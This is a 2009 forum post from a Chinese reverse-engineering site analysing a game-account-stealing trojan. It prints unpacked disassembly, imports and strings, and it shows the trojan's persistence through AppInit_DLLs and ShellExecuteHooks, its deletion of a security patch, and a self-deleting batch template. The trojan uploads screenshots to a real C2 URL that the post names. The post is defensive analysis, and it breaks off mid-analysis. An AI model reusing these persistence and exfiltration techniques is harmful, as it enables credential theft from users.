吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 39603|回复: 72
收起左侧

[PC样本分析] 分析一个梦幻木马

    [复制链接]
datochan 发表于 2009-10-24 18:48
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 bester 于 2009-10-24 21:21 编辑

[目标来源] : http://www.52pojie.cn/thread-33843-1-1.html
[使用工具] : OllyDbg,LordPE,ImpREC

OD载入,貌似加壳了……
0040B239 >  60              pushad
0040B23A    E8 09000000     call    0040B248
0040B23F    B7 B0           mov     bh, 0xB0
0040B241    0000            add     byte ptr [eax], al
0040B243    E9 06020000     jmp     0040B44E
0040B248    33C9            xor     ecx, ecx
0040B24A    5E              pop     esi
0040B24B    870E            xchg    dword ptr [esi], ecx
0040B24D  ^ E3 F4           jecxz   short 0040B243
先试试能不能脱壳
单步走着。
 
0040B409    8B5E 28         mov     ebx, dword ptr [esi+0x28]        ; KERNEL32.GetProcAddress
0040B40C    56              push    esi
0040B40D    52              push    edx
0040B40E    8B76 2C         mov     esi, dword ptr [esi+0x2C]
0040B411    46              inc     esi
0040B412    AD              lods    dword ptr [esi]
0040B413    85C0            test    eax, eax
0040B415    5A              pop     edx
0040B416    74 22           je      short 0040B43A
0040B418    03C2            add     eax, edx
0040B41A    52              push    edx
0040B41B    56              push    esi                              ; 00408004  ASCII "KERNEL32.DLL"
0040B41C    97              xchg    eax, edi
0040B41D    FF53 FC         call    dword ptr [ebx-0x4]              ; kernel32.LoadLibraryA
0040B420    95              xchg    eax, ebp
0040B421    AC              lods    byte ptr [esi]
0040B422    84C0            test    al, al
0040B424  ^ 75 FB           jnz     short 0040B421
0040B426    3806            cmp     byte ptr [esi], al
0040B428  ^ 74 E7           je      short 0040B411                   ; 切换另一个DLL模块。
0040B42A    8BC6            mov     eax, esi
0040B42C    79 05           jns     short 0040B433
0040B42E    46              inc     esi
0040B42F    33C0            xor     eax, eax
0040B431    66:AD           lods    word ptr [esi]
0040B433    50              push    eax
0040B434    55              push    ebp
0040B435    FF13            call    dword ptr [ebx]
0040B437    AB              stos    dword ptr es:[edi]               ; 保存取到的API函数地址。
0040B438  ^ EB E7           jmp     short 0040B421
看一下IAT:
00404000  77DA7ABB  advapi32.RegQueryValueExA
00404004  77DAE9F4  advapi32.RegCreateKeyExA
00404008  77DAEAE7  advapi32.RegSetValueExA
0040400C  77DA6C27  advapi32.RegCloseKey
00404010  77DB793D  advapi32.CryptAcquireContextA
00404014  77DB9C71  advapi32.CryptCreateHash
00404018  77DB9A9E  advapi32.CryptHashData
0040401C  77DB9DB4  advapi32.CryptGetHashParam
00404020  77DB9BCC  advapi32.CryptDestroyHash
00404024  77DB7EEE  advapi32.CryptReleaseContext
00404028  77DA7852  advapi32.RegOpenKeyExA
0040402C  00000000
.......

从这些API中,我们可以分析出如下的一些动作:
00404000  77DA7ABB  advapi32.RegQueryValueExA
00404004  77DAE9F4  advapi32.RegCreateKeyExA
00404008  77DAEAE7  advapi32.RegSetValueExA
0040400C  77DA6C27  advapi32.RegCloseKey
00404028  77DA7852  advapi32.RegOpenKeyExA
通过这些可以知道,这个程序有可能操作了注册表,比如自动启动之类。
 

00404058  7C81CB12  kernel32.ExitProcess
0040405C  7C802213  kernel32.WriteProcessMemory
00404060  7C80BA71  kernel32.VirtualQuery
00404064  7C80BA14  kernel32.UnmapViewOfFile
00404068  7C80B9A5  kernel32.MapViewOfFile
0040406C  7C80950A  kernel32.CreateFileMappingA
00404070  7C8650C8  kernel32.Process32Next
00404074  7C864F55  kernel32.Process32First
00404078  7C865C7F  kernel32.CreateToolhelp32Snapshot
0040407C  7C801E1A  kernel32.TerminateProcess
00404080  7C8309E9  kernel32.OpenProcess
00404084  7C80A874  kernel32.GetLocalTime
00404088  7C809B12  kernel32.VirtualAllocEx
通过下面的API,我们可以知道,这个EXE应该是要释放一些文件到我们的硬盘上:
004040BC  7C810800  kernel32.CreateFileW
004040C0  7C835D84  kernel32.WritePrivateProfileStringA
004040C4  7C8286EE  kernel32.CopyFileA
004040C8  7C814F8A  kernel32.GetSystemDirectoryA
004040CC  7C80B56F  kernel32.GetModuleFileNameA
004040D0  7C832B86  kernel32.GetPrivateProfileStringA
004040D4  7C801D7B  kernel32.LoadLibraryA
004040D8  7C821363  kernel32.GetWindowsDirectoryA
004040DC  7C831EDD  kernel32.DeleteFileA
004040E0  7C8106D7  kernel32.CreateThread
004040E4  7C80B741  kernel32.GetModuleHandleA
004040E8  7C802446  kernel32.Sleep
004040EC  7C80FDCD  kernel32.GlobalAlloc
004040F0  7C80FFB9  kernel32.GlobalLock
004040F4  7C8021D0  kernel32.ReadProcessMemory
004040F8  7C810B17  kernel32.GetFileSize
004040FC  7C801812  kernel32.ReadFile
00404100  7C801A28  kernel32.CreateFileA
00404104  7C810C2E  kernel32.SetFilePointer
00404108  7C810E27  kernel32.WriteFile
0040410C  7C809BE7  kernel32.CloseHandle
00404110  7C809B84  kernel32.VirtualFree
00404114  7C8099C0  kernel32.GetCurrentProcessId
通过下面的API,可以猜测,它是不是截取屏幕图片了。
00404044  BitBlt                     gdi32    
0040404C  CreateCompatibleBitmap     gdi32    
00404050  CreateCompatibleDC         gdi32   
0040403C  GetDIBits                  gdi32    
通过这些API可以看出这个病毒的目标是什么:
00404164  77D2A5AE  user32.EnumWindows
00404168  77D3214A  user32.FindWindowExA
0040417C  77D29655  user32.GetWindow
00404180  77D18A80  user32.GetWindowThreadProcessId
00404184  77D3216B  user32.GetWindowTextA
00404188  77D2F45F  user32.GetClassNameA
0040418C  77D2D1D2  user32.GetDesktopWindow
从下面的这些API我们可以知道这个程序连接网络用来发送信息:
00404194  766C8E07  wininet.InternetWriteFile
00404198  766E3329  wininet.HttpSendRequestExA
0040419C  766940D2  wininet.HttpAddRequestHeadersA
004041A0  76692B01  wininet.HttpOpenRequestA
004041A4  7669345A  wininet.InternetConnectA
004041A8  76695796  wininet.InternetOpenA
004041AC  766982F2  wininet.InternetReadFile
004041B0  76694D94  wininet.InternetCloseHandle
004041B4  766E338F  wininet.HttpEndRequestA
继续单步跟几下来到OEP:
00401EEB    57              push    edi                              ; 传说中的OEP?
00401EEC    E8 BB000000     call    00401FAC
00401EF1    8BF8            mov     edi, eax
00401EF3    6A 00           push    0x0         ; 感觉OEP应该在这里。
00401EF5    FF15 E4404000   call    dword ptr [0x4040E4]             ; kernel32.GetModuleHandleA
00401EFB    3BC7            cmp     eax, edi
00401EFD    5F              pop     edi
00401EFE  ^ 0F85 19FEFFFF   jnz     00401D1D
00401F04  ^ E9 ACFFFFFF     jmp     00401EB5
00401F09    55              push    ebp
00401F0A    8BEC            mov     ebp, esp
00401F0C    51              push    ecx
00401F0D    51              push    ecx
00401F0E    837D 14 00      cmp     dword ptr [ebp+0x14], 0x0
00401F12    0F95C0          setne   al
到这里了,我们看一下程序引用的字符串:
 
Ultra String Reference
Address    Disassembly                               Text String
00401045   push    00405688                          lb@
004010C7   push    004056F0                          wsgame
004011E1   push    00405000                          tmprec.dat
0040133B   push    00405000                          tmprec.dat
004014A2   push    00405724                          .bmp
004014B0   mov     edi, 00405718                     tmpimg.bmp
004014C2   push    00405700                          i
004014DA   push    004056F8                          _s.bmp
0040158E   push    00405734                          解锁
0040159C   push    0040572C                          成功
004015F2   push    00405754                          sname
0040162A   push    0040574C                          nlevel
00401662   push    00405744                          ncash
0040169A   push    0040573C                          nsaving
004019B4   mov     ebx, 0040575C                     mhmain.dll
00401A6F   push    00405000                          tmprec.dat
00401AA8   push    00405794                          \fonts\
00401ABF   push    00405788                          aeiofs.dat
00401AD6   push    00405778                          encionc_ch.dat
00401AED   push    00405768                          dnsricip.dat
00401B47   push    004057A0                          0
00401B63   push    0040579C                          1
00401C5E   push    004057A0                          0
00401DB2   push    004057F0                          kb
00401DC2   push    004057DC                          %s%s%d%d%d%d%d.dll    ;感觉这个名字应该是EXE释放的DLL名字,这个DLL应该是随机名字。
00401DF5   mov     ebx, 004057A0                     0
00401E26   mov     edi, 004057B4                     {9b1ae382-2647-4c4a-a313-b36b6ca34bd7}
00401E32   push    0040579C                          1
00401E82   push    004057A4                          \verclsid.exe
00401EEB   push    edi                               (initial cpu selection)
004021D1   push    00405800                          wininet
00402208   mov     eax, 004057F8                     post
0040220F   mov     eax, 004057F4                     get
004023A8   push    00405874                          fileupload\n\ncontent-disposition: form-data; name="file1"; filename="%s"\n\ncontent-type: image/bmp\n\n\n\n ; 看起来向是TCP协议的内容,类型是图片文件。
004023B4   mov     esi, 00405860                     \n\nfileupload--\n\n   ; 这些应该是构造TCP包用来向指定的URL传送图片。
004023CA   mov     esi, 00405840                     referer:
004023E0   mov     dword ptr [ebp-0x10], 00405808    content-type: multipart/form-data;boundary=fileupload
004025B6   push    00405988                          appinit_dlls
004025BB   push    00405950                          software\microsoft\windows nt\currentversion\windows  ; 看到了,操作注册表了……
004026D0   push    00405934                          software\classes\clsid\
004026F0   push    00405924                          \inprocserver32
00402724   push    004057B4                          {9b1ae382-2647-4c4a-a313-b36b6ca34bd7}
00402729   push    004058DC                          software\microsoft\windows\currentversion\explorer\shellexecutehooks ;操作注册表了……
0040277E   push    004059B8                          :repeat\n\ndel "%s"\n\nif exist "%s" goto repeat\n\ndel "c:\del%x.bat"\n\n ; 构造批处理的内容……
00402790   push    004059A8                          c:\del%x.bat  ;是不是用来删除自身的一些批处理呀?

0040372E   push    00405AC8                          bmp
0040373C   push    00405AC4                          jpg
0040374A   push    00405AC0                          gif
00403758   push    00405ABC                          tif
00403766   push    00405AB8                          png
004037FB   push    00405AD8                           - windows 图片和传真查看器
到这里,我想,我们应该可以从3个方面下手来分析这个程序:
1:这个程序释放了什么文件、做了什么操作;改了什么注册表信息(没有找到有操作服务的API所以暂不考虑服务问题)。
2:这个程序主要是针对什么,怎么做的操作(已经知道是梦幻的盗号木马,主要是分析怎么窃取到号码的)
3:将窃取到的信息怎么发送回去的,发送的目标是哪里。



先不废话,我们看一下OEP的入口部分:
00401EEB >  57              push    edi                                     ; OEP
00401EEC    E8 BB000000     call    00401FAC
00401EF1    8BF8            mov     edi, eax
00401EF3    6A 00           push    0x0
00401EF5    FF15 E4404000   call    dword ptr [<&kernel32.GetModuleHandleA>>; kernel32.GetModuleHandleA
00401EFB    3BC7            cmp     eax, edi
00401EFD    5F              pop     edi
00401EFE  ^ 0F85 19FEFFFF   jnz     00401D1D                                ; 这里应该是用来区别程序的启动方式的,如果是DLL启动则跳走,否则就是EXE方式的启动。
00401F04  ^ E9 ACFFFFFF     jmp     00401EB5
OK,到这里,整个的程序结构我们可以猜测的出来,它支持两种运行模式:一种是以EXE的方式运行,另一种是以DLL的方式运行。
我们先看一下以EXE方式运行它:
加载脱壳后的程序,我们重头再看一下这个应用程序,:
 
00401EB4    C3              retn
00401EB5    33C0            xor     eax, eax
00401EB7    90              nop
00401EB8    40              inc     eax
00401EB9    83F8 FF         cmp     eax, -0x1
00401EBC  ^ 72 F9           jb      short 00401EB7
00401EBE    8325 68624000 0>and     dword ptr [0x406268], 0x0
00401EC5    E8 CBFBFFFF     call    00401A95
{
00401A95    56              push    esi
00401A96    57              push    edi
00401A97    BE 5C5F4000     mov     esi, 00405F5C                           ; ASCII "C:\WINDOWS\Fonts"
00401A9C    68 04010000     push    0x104
00401AA1    56              push    esi
00401AA2    FF15 D8404000   call    dword ptr [<&kernel32.GetWindowsDirecto>; kernel32.GetWindowsDirectoryA
00401AA8    68 94574000     push    00405794                                ; \fonts\
00401AAD    56              push    esi
00401AAE    E8 251F0000     call    <jmp.&msvcrt._mbscat>
00401AB3    BF 64614000     mov     edi, 00406164                           ; ASCII "C:\WINDOWS\Fonts\AeioFs.dat"
00401AB8    56              push    esi
00401AB9    57              push    edi
00401ABA    E8 0D1F0000     call    <jmp.&msvcrt._mbscpy>
00401ABF    68 88574000     push    00405788                                ; aeiofs.dat
00401AC4    57              push    edi
00401AC5    E8 0E1F0000     call    <jmp.&msvcrt._mbscat>
00401ACA    BF 60604000     mov     edi, 00406060                           ; ASCII "C:\WINDOWS\Fonts\Encionc_ch.dat"
00401ACF    56              push    esi
00401AD0    57              push    edi
00401AD1    E8 F61E0000     call    <jmp.&msvcrt._mbscpy>
00401AD6    68 78574000     push    00405778                                ; encionc_ch.dat
00401ADB    57              push    edi
00401ADC    E8 F71E0000     call    <jmp.&msvcrt._mbscat>
00401AE1    56              push    esi
00401AE2    BE 585E4000     mov     esi, 00405E58                           ; ASCII "C:\WINDOWS\Fonts\DNSRicip.dat"
00401AE7    56              push    esi
00401AE8    E8 DF1E0000     call    <jmp.&msvcrt._mbscpy>
00401AED    68 68574000     push    00405768                                ; dnsricip.dat
00401AF2    56              push    esi
00401AF3    E8 E01E0000     call    <jmp.&msvcrt._mbscat>
00401AF8    83C4 38         add     esp, 0x38
00401AFB    5F              pop     edi
00401AFC    5E              pop     esi
00401AFD    C3              retn
这里多了两个dat文件,先不管他们的内容是什么,我们继续分析。
}
 
00401ECA    68 60604000     push    00406060                                ; ASCII "C:\WINDOWS\Fonts\Encionc_ch.dat"
00401ECF    E8 B1120000     call    00403185                                ; 载入配置文件的内容
{
....
00403104    8D85 F8FEFFFF   |lea     eax, dword ptr [ebp-0x108]             ; 从配置信息中得到目标的URL:ASCII "http://61.164.108.204/mhceshi/lin.asp"
0040310A    50              |push    eax
0040310B    A1 BC654000     |mov     eax, dword ptr [0x4065BC]
00403110    03C3            |add     eax, ebx
00403112    50              |push    eax
00403113    E8 B4080000     |call    <jmp.&msvcrt._mbscpy>
00403118    8D45 B8         |lea     eax, dword ptr [ebp-0x48]
0040311B    50              |push    eax
0040311C    A1 BC654000     |mov     eax, dword ptr [0x4065BC]
00403121    8D8403 80000000 |lea     eax, dword ptr [ebx+eax+0x80]
00403128    50              |push    eax
00403129    E8 9E080000     |call    <jmp.&msvcrt._mbscpy>
0040312E    8D85 78FFFFFF   |lea     eax, dword ptr [ebp-0x88]
00403134    50              |push    eax
00403135    A1 BC654000     |mov     eax, dword ptr [0x4065BC]
0040313A    8D8403 A0000000 |lea     eax, dword ptr [ebx+eax+0xA0]
00403141    50              |push    eax
00403142    E8 85080000     |call    <jmp.&msvcrt._mbscpy>
00403147    8D45 98         |lea     eax, dword ptr [ebp-0x68]
0040314A    50              |push    eax
0040314B    A1 BC654000     |mov     eax, dword ptr [0x4065BC]
00403150    8D8403 C0000000 |lea     eax, dword ptr [ebx+eax+0xC0]
00403157    50              |push    eax
00403158    E8 6F080000     |call    <jmp.&msvcrt._mbscpy>
0040315D    83C4 20         |add     esp, 0x20
00403160    FF45 F8         |inc     dword ptr [ebp-0x8]
00403163    81C3 E0000000   |add     ebx, 0xE0
00403169    FF45 FC         |inc     dword ptr [ebp-0x4]
0040316C    837D FC 64      |cmp     dword ptr [ebp-0x4], 0x64
00403170  ^ 0F8C 04FFFFFF   \jl      0040307A                               ; 这个循环将整个配置文件的内容载入到了内存中。
00403176    8B45 F8         mov     eax, dword ptr [ebp-0x8]
00403179    5F              pop     edi
0040317A    A3 C0654000     mov     dword ptr [0x4065C0], eax               ; 保存键的数量
0040317F    5E              pop     esi
00403180    5B              pop     ebx
00403181    C9              leave
00403182    C2 0400         retn    0x4
00403185    55              push    ebp 
}
00401ED4    E8 ADFEFFFF     call    00401D86
{
00401D86  /$  55            push    ebp
00401D87  |.  8BEC          mov     ebp, esp
00401D89  |.  81EC A0040000 sub     esp, 0x4A0
00401D8F  |.  53            push    ebx
00401D90  |.  56            push    esi
00401D91  |.  8D45 F0       lea     eax, dword ptr [ebp-0x10]
00401D94  |.  57            push    edi
00401D95  |.  50            push    eax                                            ; /pLocaltime
00401D96  |.  FF15 84404000 call    dword ptr [<&kernel32.GetLocalTime>]           ; \GetLocalTime
00401D9C  |.  0FB745 FC     movzx   eax, word ptr [ebp-0x4]
00401DA0  |.  50            push    eax                                            ; /<%d>
00401DA1  |.  0FB745 FA     movzx   eax, word ptr [ebp-0x6]                        ; |
00401DA5  |.  50            push    eax                                            ; |<%d>
00401DA6  |.  0FB745 F8     movzx   eax, word ptr [ebp-0x8]                        ; |
00401DAA  |.  50            push    eax                                            ; |<%d>
00401DAB  |.  0FB745 F6     movzx   eax, word ptr [ebp-0xA]                        ; |
00401DAF  |.  50            push    eax                                            ; |<%d>
00401DB0  |.  6A 00         push    0x0                                            ; |<%d> = 0
00401DB2  |.  68 F0574000   push    004057F0                                       ; |kb
00401DB7  |.  68 5C5F4000   push    00405F5C                                       ; |<%s> = "C:\WINDOWS\Fonts"
00401DBC  |.  8D85 6CFEFFFF lea     eax, dword ptr [ebp-0x194]                     ; |
00401DC2  |.  68 DC574000   push    004057DC                                       ; |%s%s%d%d%d%d%d.dll
00401DC7  |.  50            push    eax                                            ; |s
00401DC8  |.  FF15 28414000 call    dword ptr [<&msvcrt.sprintf>]                  ; \sprintf
堆栈:
 0012FAEC   0012FE28  ASCII "C:\WINDOWS\Fonts\kb02412355.dll"
0012FAF0   004057DC  ASCII "%s%s%d%d%d%d%d.dll"
0012FAF4   00405F5C  ASCII "C:\WINDOWS\Fonts"
0012FAF8   004057F0  ASCII "kb"
继续:
00401DE2  |.  BF 64614000   mov     edi, 00406164                                  ;  ASCII "C:\WINDOWS\Fonts\AeioFs.dat"
00401DE7  |.  BE 04010000   mov     esi, 0x104
00401DEC  |.  8D85 60FBFFFF lea     eax, dword ptr [ebp-0x4A0]
00401DF2  |.  57            push    edi                                            ; /IniFileName => "C:\WINDOWS\Fonts\AeioFs.dat"
00401DF3  |.  56            push    esi                                            ; |BufSize => 104 (260.)
00401DF4  |.  50            push    eax                                            ; |ReturnBuffer
00401DF5  |.  BB A0574000   mov     ebx, 004057A0                                  ; |0
00401DFA  |.  68 74644000   push    00406474                                       ; |Default = ""
00401DFF  |.  8D85 70FFFFFF lea     eax, dword ptr [ebp-0x90]                      ; |
00401E05  |.  53            push    ebx                                            ; |Key => "0"
00401E06  |.  50            push    eax                                            ; |Section
00401E07  |.  FF15 D0404000 call    dword ptr [<&kernel32.GetPrivateProfileStringA>; \GetPrivateProfileStringA
00401E0D  |.  8D85 6CFEFFFF lea     eax, dword ptr [ebp-0x194]
00401E13  |.  57            push    edi                                            ; /FileName => "C:\WINDOWS\Fonts\AeioFs.dat"
00401E14  |.  50            push    eax                                            ; |String
00401E15  |.  8D85 70FFFFFF lea     eax, dword ptr [ebp-0x90]                      ; |
00401E1B  |.  53            push    ebx                                            ; |Key => "0"
00401E1C  |.  8B1D C0404000 mov     ebx, dword ptr [<&kernel32.WritePrivateProfile>; |kernel32.WritePrivateProfileStringA
00401E22  |.  50            push    eax                                            ; |Section
00401E23  |.  FFD3          call    ebx                                            ; \WritePrivateProfileStringA
00401E25  |.  57            push    edi                                            ; /FileName => "C:\WINDOWS\Fonts\AeioFs.dat"
00401E26  |.  BF B4574000   mov     edi, 004057B4                                  ; |{9b1ae382-2647-4c4a-a313-b36b6ca34bd7}
00401E2B  |.  57            push    edi                                            ; |String => "{9B1AE382-2647-4c4a-A313-B36B6CA34BD7}"
00401E2C  |.  8D85 70FFFFFF lea     eax, dword ptr [ebp-0x90]                      ; |
00401E32  |.  68 9C574000   push    0040579C                                       ; |1
00401E37  |.  50            push    eax                                            ; |Section
00401E38  |.  FFD3          call    ebx                                            ; \WritePrivateProfileStringA
看堆栈:
 0012FAF8   0012FF2C  |Section = "0"
0012FAFC   004057A0  |Key = "0"
0012FB00   00406474  |Default = ""
0012FB04   0012FB1C  |ReturnBuffer = 0012FB1C
0012FB08   00000104  |BufSize = 104 (260.)
0012FB0C   00406164  \IniFileName = "C:\WINDOWS\Fonts\AeioFs.dat"
查看一下这个配置文件:
[0]
0=C:\WINDOWS\Fonts\kb0241295.dll
1={9B1AE382-2647-4c4a-A313-B36B6CA34BD7}

继续:
 00401E40  |.  56            push    esi                                            ; /BufSize => 104 (260.)
00401E41  |.  50            push    eax                                            ; |PathBuffer
00401E42  |.  6A 00         push    0x0                                            ; |hModule = NULL
00401E44  |.  FF15 CC404000 call    dword ptr [<&kernel32.GetModuleFileNameA>]     ; \GetModuleFileNameA
00401E4A  |.  8D85 6CFEFFFF lea     eax, dword ptr [ebp-0x194]
00401E50  |.  6A 00         push    0x0                                            ; /FailIfExists = FALSE
00401E52  |.  50            push    eax                                            ; |NewFileName
00401E53  |.  8D85 64FCFFFF lea     eax, dword ptr [ebp-0x39C]                     ; |
00401E59  |.  50            push    eax                                            ; |ExistingFileName
00401E5A  |.  FF15 C4404000 call    dword ptr [<&kernel32.CopyFileA>]              ; \CopyFileA
看堆栈:
 0012FB04   0012FC20  |ExistingFileName = "C:\Documents and Settings\Administrator\桌面\谔谔\Unpacked.exe"
0012FB08   0012FE28  |NewFileName = "C:\WINDOWS\Fonts\kb02412355.dll"
0012FB0C   00000000  \FailIfExists = FALSE
00401E66  |.  6A 01         push    0x1
00401E68  |.  50            push    eax
00401E69 >|.  E8 E7010000   call    00402055        ; 创建文件映射将DLL载入内存。
00401E6E  |.  8D85 68FDFFFF lea     eax, dword ptr [ebp-0x298]
00401E74  |.  56            push    esi                                            ; /BufSize
00401E75  |.  50            push    eax                                            ; |Buffer
00401E76  |.  FF15 C8404000 call    dword ptr [<&kernel32.GetSystemDirectoryA>]    ; \GetSystemDirectoryA
00401E7C  |.  8D85 68FDFFFF lea     eax, dword ptr [ebp-0x298]
00401E82  |.  68 A4574000   push    004057A4                                       ; /\verclsid.exe
00401E87  |.  50            push    eax                                            ; |dest
00401E88  |.  E8 4B1B0000   call    <jmp.&msvcrt._mbscat>                          ; \strcat
00401E8D  |.  59            pop     ecx
00401E8E  |.  8D85 68FDFFFF lea     eax, dword ptr [ebp-0x298]
00401E94  |.  59            pop     ecx
00401E95  |.  50            push    eax                                            ; /FileName
00401E96  |.  FF15 DC404000 call    dword ptr [<&kernel32.DeleteFileA>]            ; \DeleteFileA
从系统文件目录中找到名字为:verclsid.exe的文件,删除掉。
这个程序没有释放这个EXE,所以,这个EXE应该不是病毒,看他的名字也不像是一个Loader,先百度一下吧。
http://baike.baidu.com/view/1493045.htm?fr=ala0
通过上面的信息,我们知道,这个EXE是一个漏洞补丁程序。
OK到这里,我们知道:
  1:这个程序的主要文件目录是:C:\WINDOWS\Fonts\
  2:将EXE文件改名为DLL名字,大概模样是:"kb本地时间数字字符.dll",并拷贝到上面的目录中。
  3:有一个名字为:AeioFs.dat的配置文件记录了DLL的名字和ID。
  4:这个程序要删除一个补丁程序:verclsid.exe。


OK,我们继续:
 00401E9C  |.  8D85 60FBFFFF lea     eax, dword ptr [ebp-0x4A0]
00401EA2  |.  50            push    eax                            ; /Arg3
00401EA3  |.  8D85 6CFEFFFF lea     eax, dword ptr [ebp-0x194]     ; |
00401EA9  |.  57            push    edi                            ; |Arg2
00401EAA  |.  50            push    eax                            ; |Arg1
00401EAB  |.  E8 D2060000   call    00402582                       ; \复件_Unp.00402582
看堆栈:
0012FB04   0012FE28  |Arg1 = 0012FE28 ASCII "C:\WINDOWS\Fonts\kb02412355.dll"
0012FB08   004057B4  |Arg2 = 004057B4 ASCII "{9B1AE382-2647-4c4a-A313-B36B6CA34BD7}"
0012FB0C   0012FB1C  \Arg3 = 0012FB1C ASCII "C:\WINDOWS\Fonts\kb0241295.dll"

这是要做什么呢?文件替换么?跟进去看一下吧。
{
  00402585  |.  81EC 04080000 sub     esp, 0x804
  0040258B  |.  A0 74644000   mov     al, byte ptr [0x406474]
  00402590  |.  56            push    esi
  00402591  |.  57            push    edi
  00402592  |.  8885 FCFBFFFF mov     byte ptr [ebp-0x404], al
  00402598  |.  B9 FF000000   mov     ecx, 0xFF
  0040259D  |.  33C0          xor     eax, eax
  0040259F  |.  8DBD FDFBFFFF lea     edi, dword ptr [ebp-0x403]
  004025A5  |.  BE 02000080   mov     esi, 0x80000002
  004025AA  |.  F3:AB         rep     stos dword ptr es:[edi]
  004025AC  |.  66:AB         stos    word ptr es:[edi]
  004025AE  |.  AA            stos    byte ptr es:[edi]
  004025AF  |.  8D85 FCFBFFFF lea     eax, dword ptr [ebp-0x404]
  004025B5  |.  50            push    eax
  004025B6  |.  68 88594000   push    00405988                       ;  appinit_dlls
  004025BB  |.  68 50594000   push    00405950                       ;  software\microsoft\windows nt\currentversion\windows
  004025C0  |.  56            push    esi
  004025C1  |.  E8 6FFFFFFF   call    00402535      ;  这是要修改注册表了
  {
   00402535  /$  55            push    ebp
   00402536  |.  8BEC          mov     ebp, esp
   00402538  |.  51            push    ecx
   00402539  |.  8D45 0C       lea     eax, dword ptr [ebp+0xC]
   0040253C  |.  56            push    esi
   0040253D  |.  33F6          xor     esi, esi
   0040253F  |.  50            push    eax                            ; /pHandle
   00402540  |.  6A 01         push    0x1                            ; |Access = KEY_QUERY_VALUE
   00402542  |.  56            push    esi                            ; |Reserved => 0
   00402543  |.  FF75 0C       push    dword ptr [ebp+0xC]            ; |Subkey = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
   00402546  |.  FF75 08       push    dword ptr [ebp+0x8]            ; |hKey = HKEY_LOCAL_MACHINE
   00402549  |.  FF15 28404000 call    dword ptr [<&advapi32.RegOpenK>; \RegOpenKeyExA
   0040254F  |.  85C0          test    eax, eax
   00402551  |.  75 1F         jnz     short 00402572
   00402553  |.  8D45 08       lea     eax, dword ptr [ebp+0x8]
   00402556  |.  50            push    eax                            ; /pBufSize
   00402557  |.  8D45 FC       lea     eax, dword ptr [ebp-0x4]       ; |
   0040255A  |.  FF75 14       push    dword ptr [ebp+0x14]           ; |Buffer
   0040255D  |.  50            push    eax                            ; |pValueType
   0040255E  |.  56            push    esi                            ; |Reserved => NULL
   0040255F  |.  FF75 10       push    dword ptr [ebp+0x10]           ; |ValueName = "AppInit_Dlls"
   00402562  |.  FF75 0C       push    dword ptr [ebp+0xC]            ; |hKey = 5C
   00402565  |.  FF15 00404000 call    dword ptr [<&advapi32.RegQuery>; \RegQueryValueExA
   0040256B  |.  85C0          test    eax, eax
   0040256D  |.  75 03         jnz     short 00402572
   0040256F  |.  6A 01         push    0x1
   00402571  |.  5E            pop     esi
   00402572  |>  FF75 0C       push    dword ptr [ebp+0xC]            ; /hKey
   00402575  |.  FF15 0C404000 call    dword ptr [<&advapi32.RegClose>; \RegCloseKey
   0040257B  |.  8BC6          mov     eax, esi
   0040257D  |.  5E            pop     esi
   0040257E  |.  C9            leave
   0040257F  \.  C2 1000       retn    0x10
  }
  004025C6  |.  FF75 08       push    dword ptr [ebp+0x8]            ; /s2 = "C:\WINDOWS\Fonts\kb02412355.dll"
  004025C9  |.  8B3D 1C414000 mov     edi, dword ptr [<&msvcrt.strst>; |msvcrt.strstr
  004025CF  |.  8D85 FCFBFFFF lea     eax, dword ptr [ebp-0x404]     ; |
  004025D5  |.  50            push    eax                            ; |s1 = "C:\WINDOWS\Fonts\kb02412355.dll"
  004025D6  |.  FFD7          call    edi                            ; \strstr
  004025D8  |.  59            pop     ecx
  004025D9  |.  85C0          test    eax, eax                       ;  查找这个文件,如果找到了,跳过下面的处理。如果没有找到,则再注册表中创建一个。
  ....
  004026CA  |> \8D85 FCFBFFFF lea     eax, dword ptr [ebp-0x404]
  004026D0  |.  68 34594000   push    00405934                       ; /software\classes\clsid\
  004026D5  |.  50            push    eax                            ; |dest
  004026D6  |.  E8 F1120000   call    <jmp.&msvcrt._mbscpy>          ; \strcpy
  004026DB  |.  FF75 0C       push    dword ptr [ebp+0xC]            ; /src
  004026DE  |.  8D85 FCFBFFFF lea     eax, dword ptr [ebp-0x404]     ; |
  004026E4  |.  50            push    eax                            ; |dest
  004026E5  |.  E8 EE120000   call    <jmp.&msvcrt._mbscat>          ; \strcat
  004026EA  |.  8D85 FCFBFFFF lea     eax, dword ptr [ebp-0x404]
  004026F0  |.  68 24594000   push    00405924                       ; /\inprocserver32
  004026F5  |.  50            push    eax                            ; |dest
  004026F6  |.  E8 DD120000   call    <jmp.&msvcrt._mbscat>          ; \strcat
  00402703  |.  83C4 1C       add     esp, 0x1C
  00402706  |.  50            push    eax                            ; /Arg6
  00402707  |.  8D85 FCFBFFFF lea     eax, dword ptr [ebp-0x404]     ; |
  0040270D  |.  FF75 08       push    dword ptr [ebp+0x8]            ; |Arg5
  00402710  |.  6A 01         push    0x1                            ; |Arg4 = 00000001
  00402712  |.  6A 00         push    0x0                            ; |Arg3 = 00000000
  00402714  |.  50            push    eax                            ; |Arg2
  00402715  |.  56            push    esi                            ; |Arg1
  00402716  |.  E8 C9FDFFFF   call    004024E4                       ; \复件_Unp.004024E4
这里构造了一个字符串:"SOFTWARE\Classes\CLSID\{9B1AE382-2647-4c4a-A313-B36B6CA34BD7}\InprocServer32",然后又一次的调用上个函数004024E4。
  可以知道,这次是再这个根键下,又写入了这个DLL的路径。
 
0040271B  |.  6A 00         push    0x0                            ; /Arg6 = 00000000
  0040271D  |.  68 74644000   push    00406474                       ; |Arg5 = 00406474
  00402722  |.  6A 01         push    0x1                            ; |Arg4 = 00000001
  00402724  |.  68 B4574000   push    004057B4                       ; |{9b1ae382-2647-4c4a-a313-b36b6ca34bd7}
  00402729  |.  68 DC584000   push    004058DC                       ; |software\microsoft\windows\currentversion\explorer\shellexecutehooks
  0040272E  |.  56            push    esi                            ; |Arg1 = 80000002
  0040272F  |.  E8 B0FDFFFF   call    004024E4                       ; \复件_Unp.004024E4
  不用多说了。
}



}
00401ED9    E8 9BFEFFFF     call    00401D79                                ; 遍历进程
{
